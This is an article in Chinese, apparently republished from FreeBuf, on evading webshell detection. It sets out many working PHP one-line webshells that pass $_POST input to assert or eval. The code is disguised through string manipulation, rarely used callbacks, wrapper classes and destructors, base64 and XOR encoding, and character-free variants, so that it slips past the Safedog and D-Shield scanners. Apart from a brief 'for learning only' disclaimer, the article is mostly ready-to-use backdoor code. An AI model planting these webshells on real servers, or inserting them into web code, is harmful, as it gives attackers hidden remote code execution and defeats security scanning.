歡迎光臨
每天分享高質量文章

揭秘一句話木馬的套路

作者:404SEC,來自FreeBuf.COM

https://www.freebuf.com/articles/web/195304.html

 

*本文僅用於學習和技術討論,切勿用於非法用途。

0x01 前言

盡最大努力在一文中讓大家掌握一些有用的WEBSHELL免殺技巧。

0x02 關於 eval 於 assert

關於 eval 函式在 php 給出的官方說明是:

eval是一個語言建構式而不是一個函式,不能被 可變函式 呼叫

可變函式:通過一個變數,獲取其對應的變數值,然後通過給該值增加一個括號 (),讓系統認為該值是一個函式,從而當做函式來執行。

 

通俗的說比如你 這樣是不行的 也造就了用 eval 的話達不到 assert 的靈活,但是在 php7.1 以上 assert 已經不行。

 

關於 assert 函式

assert() 回呼函式在構建自動測試套件的時候尤其有用,因為它們允許你簡易地捕獲傳入斷言的代碼,並包含斷言的位置信息。當信息能夠被其他方法捕獲,使用斷言可以讓它更快更方便!

0x03 字串變形

字串變形多數用於 BYPASS 安全狗,相當對於 D 盾,安全狗更加重視“形”。

 

一個特殊的變形就能繞過安全狗,看看 PHP 手冊,有著很多關於操作字串的函式:

 

ucwords() //函式把字串中每個單詞的首字符轉換為大寫。
ucfirst() //函式把字串中的首字符轉換為大寫。
trim() //函式從字串的兩端刪除空白字符和其他預定義字符。
substr_replace() //函式把字串的一部分替換為另一個字串
substr() //函式傳回字串的一部分。
strtr() //函式轉換字串中特定的字符。
strtoupper() //函式把字串轉換為大寫。
strtolower() //函式把字串轉換為小寫。
strtok() //函式把字串分割為更小的字串
str_rot13() //函式對字串執行 ROT13 編碼。

由於 PHP 的靈活性操作字串的函式很多,我這裡就不一一列舉了。

 

用 substr_replace() 函式變形 assert 達到免殺的效果:

 


$a = substr_replace("assexx","rt",4);
$a($_POST['x']);
?>

 

其他函式類似 不一一列舉了。

0x04 定義函式繞過

定義一個函式把關鍵詞分割達到 bypass 效果:

 

 
function kdog($a){
    $a($_POST['x']);
}
kdog(assert);
?>

 

反之:

 

 
function kdog($a){
    assert($a);
}
kdog($_POST[x]);
?>

 

效果一樣,這種繞過方法,對安全狗還是比較有效的 在 d 盾面前就顯得小兒科了,不過後面會講到如何用定義函式的方法來繞過 d 盾。

0x05 回呼函式

call_user_func_array()
call_user_func()
array_filter() 
array_walk()  
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var() 
filter_var_array() 
uasort() 
uksort() 
array_reduce()
array_walk() 
array_walk_recursive()

 

回呼函式大部分已經被安全軟體加入全家桶套餐,所以找到一個生僻的不常用的回呼函式來執行,比如:

 

 
forward_static_call_array(assert,array($_POST[x]));
?>

 

這個函式能過狗,但是 D 盾顯示是一級。

00×06 回呼函式變形

前面說過眾多回呼函式已經被加入豪華套餐了,怎麼繞過呢,其實也很簡單 那就是定義個函式 或者類來呼叫。

 

定義一個函式:

 


function test($a,$b){
    array_map($a,$b);
}
test(assert,array($_POST['x']));
?>

 

定義一個類:

 


class loveme {
    var $a;
    var $b;
    function __construct($a,$b) {
        $this->a=$a;
        $this->b=$b;
    }
    function test() {
       array_map($this->a,$this->b);
    }
}
$p1=new loveme(assert,array($_POST['x']));
$p1->test();
?

0x07 特殊字符干擾

特殊字符干擾,要求是能幹擾到殺軟的正則判斷,還要代碼能執行, 網上廣為流傳的連接符。

 

初代版本:

 


$a = $_REQUEST['a'];
$b = null;
eval($b.$a);
?>

 

不過已經不能免殺了,利用適當的變形即可免殺,如:

 


$a = $_POST['a'];
$b = "\n";
eval($b.=$a);
?>

 

其他方法大家盡情發揮如”
”, 函式傳回,類,等等。

 

除了連接符號 還有個命名空間的東西  具體大家可以看看 php 手冊:

 


function dog($a){
    \assert($a);
}
dog($_POST[x]);
?>

 

當然還有其他的符號熟讀 PHP 手冊就會有不一樣的發現。

0x08 陣列

把執行代碼放入陣列中執行繞過:

 


$a = substr_replace("assexx","rt",4);
$b=[''=>$a($_POST['q'])];
?>

 

多維陣列:

 


$b = substr_replace("assexx","rt",4);
$a = array($arrayName = array('a' => $b($_POST['q'])));
?>

0x09 類

說到類肯定要搭配上魔術方法比如 destruct(),construct()。

 

直接上代碼:

 

 
class me
{
  public $a = '';
  function __destruct(){
    assert("$this->a");
  }
}
$b = new me;
$b->a = $_POST['x'];
?>

 

用類把函式包裹,D 盾對類查殺較弱。

0x10 編碼繞過

用 php 的編碼函式,或者用異或等等。

 

簡單的 base64_decode, 其中因為他的正則匹配可以加入一些下劃線干擾殺軟:

 


$a = base64_decode("YXNz+ZX____J____0");
$a($_POST[x]);
?>

 

或:

 


$a= ("!"^"@").'ssert';
$a($_POST[x]);
?>

0x11 無字符特征馬

對於無特征馬這裡我的意思是 無字符特征。

 

1、利用異或, 編碼等方式,例如 p 神博客的:

 

$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

 

2、利用正則匹配字符,如 Tab 等,然後轉換為字符。

 

3、利用 POST 包獲取關鍵引數執行,例如:

 


$decrpt = $_POST['x'];
$arrs = explode("|", $decrpt)[1];
$arrs = explode("|", base64_decode($arrs));
call_user_func($arrs[0],$arrs[1]);
?>

0x12 PHP7.1 後 webshell 何去何從

在 php7.1 後面我們已經不能使用強大的 assert 函式了用 eval 將更加註重特殊的呼叫方法和一些字符干擾, 後期大家可能更加傾向使用大馬。

總結

對於安全狗殺形,d 盾殺參的思路來繞過。生僻的回呼函式, 特殊的加密方式, 以及關鍵詞的後傳入都是不錯的選擇。

 

對於關鍵詞的後傳入對免殺安全狗,d 盾,河馬等等都是不錯的,後期對於菜刀的輪子,也要走向高度的自定義化。

 

用戶可以對傳出的 post 資料進行自定義腳本加密,再由 webshell 進行解密獲取引數,那麼以現在的軟 WAF 查殺能力。

 

幾乎為 0,安全軟體也需要與時俱進了。

 

如有不對,還望大家斧正。

已同步到看一看
赞(0)

分享創造快樂